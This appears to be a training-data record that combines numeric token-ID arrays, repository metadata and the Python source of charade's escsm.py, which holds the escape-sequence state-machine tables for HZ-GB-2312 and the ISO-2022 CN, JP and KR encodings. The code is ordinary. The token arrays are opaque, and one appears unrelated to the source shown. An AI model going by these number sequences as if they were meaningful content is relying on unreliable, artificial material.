[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 31982, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 9506, 199, 504, 5166, 14, 4795, 492, 1504, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 504, 2197, 492, 2197, 199, 199, 646, 295, 199, 646, 5377, 199, 646, 7097, 199, 199, 14170, 63, 1294, 275, 295, 14, 2014, 8, 82, 22774, 27, 4202, 78, 60, 82, 2807, 531, 421, 199, 533, 16576, 63, 1198, 63, 12607, 63, 1188, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 354, 275, 283, 10625, 14, 1198, 14, 12607, 14, 1188, 7, 272, 485, 6486, 275, 283, 1198, 14, 12607, 14, 1188, 7, 272, 485, 1802, 275, 283, 7035, 31586, 12262, 367, 29013, 7, 272, 485, 793, 63, 2732, 275, 715, 339, 347, 485, 362, 63, 3455, 63, 633, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 403, 304, 267, 522, 275, 1211, 1332, 344, 12, 378, 9, 367, 1305, 315, 2762, 9, 267, 16576, 63, 1113, 275, 291, 14, 2293, 14, 362, 360, 10625, 14, 10625, 358, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 522, 59, 9819, 14, 344, 61, 275, 12262, 14, 10625, 63, 344, 14, 3455, 63, 633, 267, 372, 522, 339, 347, 485, 362, 63, 3455, 63, 633, 63, 1360, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 403, 304, 267, 408, 8354, 340, 314, 1245, 365, 625, 739, 701, 314, 1453, 922, 408, 267, 8187, 275, 291, 423, 362, 63, 3455, 63, 633, 8, 1556, 12, 1747, 12, 2762, 12, 536, 12, 1680, 12, 1067, 29, 1100, 9, 267, 367, 790, 12, 1166, 315, 8187, 14, 1744, 837, 288, 8187, 59, 498, 61, 275, 2650, 65, 4369, 5961, 83, 14423, 83, 1108, 65, 3524, 450, 334, 633, 12, 3824, 12040, 2348, 370, 1343, 16576, 2237, 267, 372, 8187, 339, 485, 3406, 275, 469, 267, 283, 10625, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 10625, 14, 10625, 297, 283, 30188, 297, 1415, 29, 549, 395, 267, 283, 3455, 356, 1504, 14, 5592, 8318, 3455, 63, 1073, 297, 283, 18713, 314, 4575, 3330, 2142, 370, 2195, 10576, 328, 4894, 8038, 2511, 661, 2123, 63, 3455, 63, 1073, 297, 283, 6795, 701, 3031, 314, 4575, 3330, 2142, 370, 2195, 10576, 328, 4894, 8038, 2511, 661, 2123, 63, 4239, 297, 283, 6795, 5726, 4572, 5314, 370, 2195, 10576, 328, 4894, 334, 2118, 1373, 1177, 1126, 10318, 436, 1126, 4572, 5314, 680, 2665, 288, 1059, 534, 18713, 1511, 297, 1415, 29, 549, 395, 267, 283, 3455, 63, 633, 356, 1504, 14, 1593, 1547, 362, 63, 3455, 63, 633, 12, 1059, 628, 9885, 1166, 401, 730, 628, 1560, 1288, 267, 283, 3455, 63, 633, 63, 1360, 356, 1504, 14, 1593, 1547, 362, 63, 3455, 63, 633, 63, 1360, 12, 1059, 628, 9885, 4163, 3330, 2142, 401, 730, 628, 1560, 1288, 267, 283, 3899, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 470, 14, 3899, 297, 288, 283, 10625, 63, 1198, 63, 12607, 63, 1188, 63, 470, 63, 3899, 63, 3369, 297, 288, 283, 9819, 63, 344, 297, 283, 3899, 63, 344, 297, 283, 23490, 27989, 659, 267, 283, 8905, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 723, 14, 8905, 297, 288, 283, 10625, 63, 1198, 63, 12607, 63, 1188, 63, 723, 63, 15855, 63, 3369, 297, 288, 283, 9819, 63, 344, 297, 283, 8905, 63, 344, 297, 283, 13240, 1470, 659, 267, 283, 3029, 63, 2123, 356, 1504, 14, 505, 8, 875, 534, 1296, 402, 14931, 297, 1720, 628, 2765, 769, 402, 14931, 402, 19255, 911, 440, 6702, 315, 27989, 14, 11426, 83, 11673, 701, 24476, 12, 18734, 761, 4654, 503, 8057, 7651, 267, 283, 602, 63, 22357, 356, 1504, 14, 602, 8, 875, 628, 22147, 604, 370, 1314, 314, 4572, 5314, 370, 22722, 365, 1686, 401, 1720, 628, 22147, 604, 370, 1314, 314, 4572, 5314, 370, 22722, 367, 642, 16576, 365, 1686, 14, 982, 314, 901, 365, 2701, 12, 314, 4572, 5314, 365, 5139, 1686, 7651, 272, 789, 339, 485, 4322, 275, 469, 267, 283, 3455, 356, 283, 3455, 63, 1073, 297, 267, 283, 10625, 63, 344, 356, 2400, 291, 12, 2467, 12, 1747, 12, 4027, 7622, 26, 4027, 14, 362, 360, 1238, 358, 508, 283, 10625, 14, 10625, 7, 436, 4027, 14, 362, 360, 470, 63, 344, 358, 503, 488, 272, 789, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 522, 275, 1613, 8, 10625, 63, 1198, 63, 12607, 63, 1188, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 340, 1067, 14, 362, 360, 2682, 63, 1238, 358, 508, 283, 470, 14, 3899, 7, 436, 1067, 14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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rui-castro/Sick-Beard
lib/requests/packages/charade/escsm.py
206
8081
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .constants import eStart, eError, eItsMe HZ_cls = ( 1,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,4,0,5,2,0, # 78 - 7f 1,1,1,1,1,1,1,1, # 80 - 87 1,1,1,1,1,1,1,1, # 88 - 8f 1,1,1,1,1,1,1,1, # 90 - 97 1,1,1,1,1,1,1,1, # 98 - 9f 1,1,1,1,1,1,1,1, # a0 - a7 1,1,1,1,1,1,1,1, # a8 - af 1,1,1,1,1,1,1,1, # b0 - b7 1,1,1,1,1,1,1,1, # b8 - bf 1,1,1,1,1,1,1,1, # c0 - c7 1,1,1,1,1,1,1,1, # c8 - cf 1,1,1,1,1,1,1,1, # d0 - d7 1,1,1,1,1,1,1,1, # d8 - df 1,1,1,1,1,1,1,1, # e0 - e7 1,1,1,1,1,1,1,1, # e8 - ef 1,1,1,1,1,1,1,1, # f0 - f7 1,1,1,1,1,1,1,1, # f8 - ff ) HZ_st = ( eStart,eError, 3,eStart,eStart,eStart,eError,eError,# 00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f eItsMe,eItsMe,eError,eError,eStart,eStart, 4,eError,# 10-17 5,eError, 6,eError, 5, 5, 4,eError,# 18-1f 4,eError, 4, 4, 4,eError, 4,eError,# 20-27 4,eItsMe,eStart,eStart,eStart,eStart,eStart,eStart,# 28-2f ) HZCharLenTable = (0, 0, 0, 0, 0, 0) HZSMModel = {'classTable': HZ_cls, 'classFactor': 6, 'stateTable': HZ_st, 'charLenTable': HZCharLenTable, 'name': "HZ-GB-2312"} ISO2022CN_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,4,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022CN_st = ( eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 eStart,eError,eError,eError,eError,eError,eError,eError,# 08-0f eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 eItsMe,eItsMe,eItsMe,eError,eError,eError, 4,eError,# 18-1f eError,eError,eError,eItsMe,eError,eError,eError,eError,# 20-27 5, 6,eError,eError,eError,eError,eError,eError,# 28-2f eError,eError,eError,eItsMe,eError,eError,eError,eError,# 30-37 eError,eError,eError,eError,eError,eItsMe,eError,eStart,# 38-3f ) ISO2022CNCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022CNSMModel = {'classTable': ISO2022CN_cls, 'classFactor': 9, 'stateTable': ISO2022CN_st, 'charLenTable': ISO2022CNCharLenTable, 'name': "ISO-2022-CN"} ISO2022JP_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,2,2, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,7,0,0,0, # 20 - 27 3,0,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 6,0,4,0,8,0,0,0, # 40 - 47 0,9,5,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022JP_st = ( eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 eStart,eStart,eError,eError,eError,eError,eError,eError,# 08-0f eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,# 18-1f eError, 5,eError,eError,eError, 4,eError,eError,# 20-27 eError,eError,eError, 6,eItsMe,eError,eItsMe,eError,# 28-2f eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,# 30-37 eError,eError,eError,eItsMe,eError,eError,eError,eError,# 38-3f eError,eError,eError,eError,eItsMe,eError,eStart,eStart,# 40-47 ) ISO2022JPCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022JPSMModel = {'classTable': ISO2022JP_cls, 'classFactor': 10, 'stateTable': ISO2022JP_st, 'charLenTable': ISO2022JPCharLenTable, 'name': "ISO-2022-JP"} ISO2022KR_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,3,0,0,0, # 20 - 27 0,4,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,5,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022KR_st = ( eStart, 3,eError,eStart,eStart,eStart,eError,eError,# 00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f eItsMe,eItsMe,eError,eError,eError, 4,eError,eError,# 10-17 eError,eError,eError,eError, 5,eError,eError,eError,# 18-1f eError,eError,eError,eItsMe,eStart,eStart,eStart,eStart,# 20-27 ) ISO2022KRCharLenTable = (0, 0, 0, 0, 0, 0) ISO2022KRSMModel = {'classTable': ISO2022KR_cls, 'classFactor': 6, 'stateTable': ISO2022KR_st, 'charLenTable': ISO2022KRCharLenTable, 'name': "ISO-2022-KR"} # flake8: noqa
gpl-3.0
[ 6565, 16427, 5113, 8068, 11945, 202, 199, 3, 710, 12769, 5495, 365, 1303, 6956, 14, 1308, 1233, 14, 202, 199, 3, 202, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 202, 199, 3, 20433, 18686, 11098, 14, 202, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 202, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 202, 199, 3, 202, 199, 3, 17636, 8, 83, 304, 202, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 202, 199, 3, 202, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 202, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 202, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 202, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 202, 199, 3, 202, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 202, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 202, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 202, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 202, 199, 3, 202, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 202, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 202, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 202, 199, 3, 11315, 13, 10067, 221, 8217, 202, 199, 19054, 7729, 5113, 8068, 21186, 2999, 199, 504, 1275, 5559, 492, 325, 3162, 12, 19424, 12, 325, 12278, 2999, 199, 25955, 63, 1886, 275, 334, 202, 199, 17, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 8733, 446, 24937, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 19363, 446, 378, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 1616, 446, 5557, 202, 199, 16, 12, 16, 12, 16, 12, 17, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 6155, 446, 413, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 3388, 446, 8087, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 7294, 446, 499, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 4233, 446, 6877, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10448, 446, 650, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 6335, 446, 10954, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 9615, 446, 841, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 5238, 446, 12699, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 13713, 446, 959, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 5212, 446, 13296, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10851, 446, 1227, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10045, 446, 8375, 202, 199, 16, 12, 16, 12, 16, 12, 20, 12, 16, 12, 21, 12, 18, 12, 16, 12, 221, 327, 14679, 446, 1520, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 5939, 446, 10513, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 10523, 446, 1695, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 9137, 446, 15997, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 16096, 446, 1749, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 282, 16, 446, 282, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 282, 24, 446, 15871, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 330, 16, 446, 330, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 330, 24, 446, 18839, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 286, 16, 446, 286, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 286, 24, 446, 3980, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 366, 16, 446, 366, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 366, 24, 446, 4051, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 325, 16, 446, 325, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 325, 24, 446, 9530, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17 ]
[ 16427, 5113, 8068, 11945, 202, 199, 3, 710, 12769, 5495, 365, 1303, 6956, 14, 1308, 1233, 14, 202, 199, 3, 202, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 202, 199, 3, 20433, 18686, 11098, 14, 202, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 202, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 202, 199, 3, 202, 199, 3, 17636, 8, 83, 304, 202, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 202, 199, 3, 202, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 202, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 202, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 202, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 202, 199, 3, 202, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 202, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 202, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 202, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 202, 199, 3, 202, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 202, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 202, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 202, 199, 3, 11315, 13, 10067, 221, 8217, 202, 199, 19054, 7729, 5113, 8068, 21186, 2999, 199, 504, 1275, 5559, 492, 325, 3162, 12, 19424, 12, 325, 12278, 2999, 199, 25955, 63, 1886, 275, 334, 202, 199, 17, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 8733, 446, 24937, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 19363, 446, 378, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 1616, 446, 5557, 202, 199, 16, 12, 16, 12, 16, 12, 17, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 6155, 446, 413, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 3388, 446, 8087, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 7294, 446, 499, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 4233, 446, 6877, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10448, 446, 650, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 6335, 446, 10954, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 9615, 446, 841, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 5238, 446, 12699, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 13713, 446, 959, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 5212, 446, 13296, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10851, 446, 1227, 70, 202, 199, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 16, 12, 221, 327, 10045, 446, 8375, 202, 199, 16, 12, 16, 12, 16, 12, 20, 12, 16, 12, 21, 12, 18, 12, 16, 12, 221, 327, 14679, 446, 1520, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 5939, 446, 10513, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 10523, 446, 1695, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 9137, 446, 15997, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 16096, 446, 1749, 70, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 282, 16, 446, 282, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 282, 24, 446, 15871, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 330, 16, 446, 330, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 330, 24, 446, 18839, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 286, 16, 446, 286, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 286, 24, 446, 3980, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 366, 16, 446, 366, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 366, 24, 446, 4051, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 